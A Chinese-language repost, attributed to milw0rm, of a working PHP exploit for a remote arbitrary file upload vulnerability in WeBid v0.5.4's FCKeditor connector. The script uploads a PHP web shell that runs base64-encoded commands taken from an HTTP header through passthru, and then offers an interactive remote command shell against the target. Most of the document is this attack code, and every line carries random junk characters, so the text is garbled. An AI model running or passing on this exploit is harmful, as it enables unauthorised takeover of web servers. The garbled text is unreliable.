WeBid v0.5.4 (fckeditor) 远程任意文件上传漏洞

文章来自：http://www.milw0rm.com/ Q=!QCDO(  
存在漏洞页面：/fck/editor/filemanager/browser/mcpuk/connectors/php/config.php zecM|S_  
bBINjs8C_  

Copy code

121. //File Area &2:WezDF  
122. $fckphp_config['ResourceAreas']['File'] =array( 8;~,jZ s  
123.   FXk*zXn6  
124.  //Files(identified by extension) that may be uploaded to this area %A 5s?J?  
125.  'AllowedExtensions' => array("zip","doc","xls","pdf","rtf","csv","jpg","gif","jpeg","png","avi","mpg","mpeg","swf","fla"),

默认配置，攻击者可以上传任意含有恶意的PHP代码的文件，由于不检查许多文件扩展名，所以我们可以上传任意文件 + d>2'  

Copy code

hRKJKQ@7
 
error_reporting(0); Hv"qRuQ?[  
set_time_limit(0); O&CY9 2)Lk  
ini_set("default_socket_timeout", 5); xE_~.
EoB  
function http_send($host, $packet) aEUEy:.  
{ 5[6{
o$I  
$sock = fsockopen($host, 80); 1A]  
while (!$sock) $*fEgU% c  
{ M&(0n?R"R  
  print "\n[-] No response from {$host}:80 Trying again..."; %Q93n {?  
  $sock = fsockopen($host, 80); Y,KSr|vG  
} RLh%Y>w  
fputs($sock, $packet); `cmzmQC  
while (!feof($sock)) $resp .= fread($sock, 1024); R4f_Kio  
fclose($sock); Gd2t^tc  
return $resp; (ap,3$hS  
} ]EvK
.ORy  
function upload() w2]]##J  
{ $2v{4WP7G  
global $host, $path; C1
(0jUz  
WaDdZIz4  
$connector = "fck/editor/filemanager/browser/mcpuk/connectors/php/connector.php"; &_<!zJ;Hn  
$file_ext  = array("zip", "swf", "fla", "doc", "xls", "rtf", "csv"); ujoJ6UOG  
N._&\fHY  
foreach ($file_ext as $ext) :J;*]o:  
{ %b3s|o3An  
  print "\n[-] Trying to upload with .{$ext} extension..."; `RLn)a  
   ;{K/W.R  
  $data  = "--12345\r\n"; A\};^Y  
  $data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"sh.php.{$ext}\"\r\n"; tG(!d$^  
  $data .= "Content-Type: application/octet-stream\r\n\r\n"; H.]rH,8  
  $data .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\r\n"; 72{Ce7J4  
  $data .= "--12345--\r\n"; 6,UW5389  
   MWron_xg  
  $packet  = "POST {$path}{$connector}?Command=FileUpload&CurrentFolder={$path} HTTP/1.0\r\n"; "YePd*W  
  $packet .= "Host: {$host}\r\n"; Ht=h9}x"
g  
  $packet .= "Content-Length: ".strlen($data)."\r\n"; ;f+bIYQz  
  $packet .= "Content-Type: multipart/form-data; boundary=12345\r\n"; [$AOu0J  
  $packet .= "Connection: close\r\n\r\n"; f15f)P  
  $packet .= $data; 8|Vm6*TY&p  
   WXX)_L$2  
  preg_match("/OnUploadCompleted\((.*),'(.*)'\)/i", http_send($host, $packet), $html); |;k@Zlvc  
   \1R<GBC4  
  if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! (Error {$html[1]}: {$html[2]})\n"); l11+sqg  
   gyf9D]W  
  $packet  = "GET {$path}sh.php.{$ext} HTTP/1.0\r\n"; Q8>  
  $packet .= "Host: {$host}\r\n";  mX&!/U  
  $packet .= "Connection: close\r\n\r\n"; yHIZpU|(j  
  $html    = http_send($host, $packet); .5K}R<  
   "s.]amC  
  if (!eregi("print", $html) and eregi("_code_", $html)) return $ext; QK0-jYG^  
   yHNx,ra
 
  sleep(1); H2 Gj(Nc-  
} lNs;-`I~  
B57MzIZi]  
return false; v-ZTl4j$  
} .4O
~a  
print "\n+--------------------------------------------------------------------+"; aPRXK1  
print "\n|WeBid v0.5.4 (fckeditor) Remote Arbitrary File Upload Exploit by Stack|"; PL|zm5923  
print "\n+--------------------------------------------------------------------+\n"; ?(R!BB  
if ($argc < 3)  U!O"f  
{ 57(5+Zme  
print "\nUsage......: php $argv[0] host path\n"; ;}KT 3Q<^  
print "\nExample....: php $argv[0] localhost /"; >QSlH]M  
print "\nExample....: php $argv[0] localhost /WeBid/\n"; SbXV'&M2AT  
die(); Hj97&C{Q^  
} Z>PS>6  
$host = $argv[1]; !S#K6:  
$path = $argv[2]; $bFH%EA.
 
if (!($ext = upload())) die("\n\n[-] Exploit failed...\n"); ? J/NYV  
else print "\n[-] Shell uploaded...starting it!\n"; ]ONBr(M\  
define(STDIN, fopen("php://stdin", "r")); UetI4`  
while(1) `_e5pW=:>  
{ q{l %k  
print "\nStack-shell# "; L, 2;-b|  
$cmd = trim(fgets(STDIN)); %gu|  
if ($cmd != "exit") y*!8[wASHq  
{ Uf9L*Z'6il  
  $packet = "GET {$path}sh.php.{$ext} HTTP/1.0\r\n"; )cU$I)  
  $packet.= "Host: {$host}\r\n"; xAr&sGMA  
  $packet.= "Cmd: ".base64_encode($cmd)."\r\n"; (5e4>p&+  
  $packet.= "Connection: close\r\n\r\n"; Ro=dgQ0:t  
  $html  = http_send($host, $packet); W4(GI]`_+  
  if (!eregi("_code_", $html)) die("\n[-] Exploit failed...\n"); [#%@,C  
  $shell = explode("_code_", $html); pJIJ"o'>.9  
  print "\n{$shell[1]}"; "q KVGd  
} ^%0^DN  
else break; iU~xb?,,  
} "\u<\CL  
?>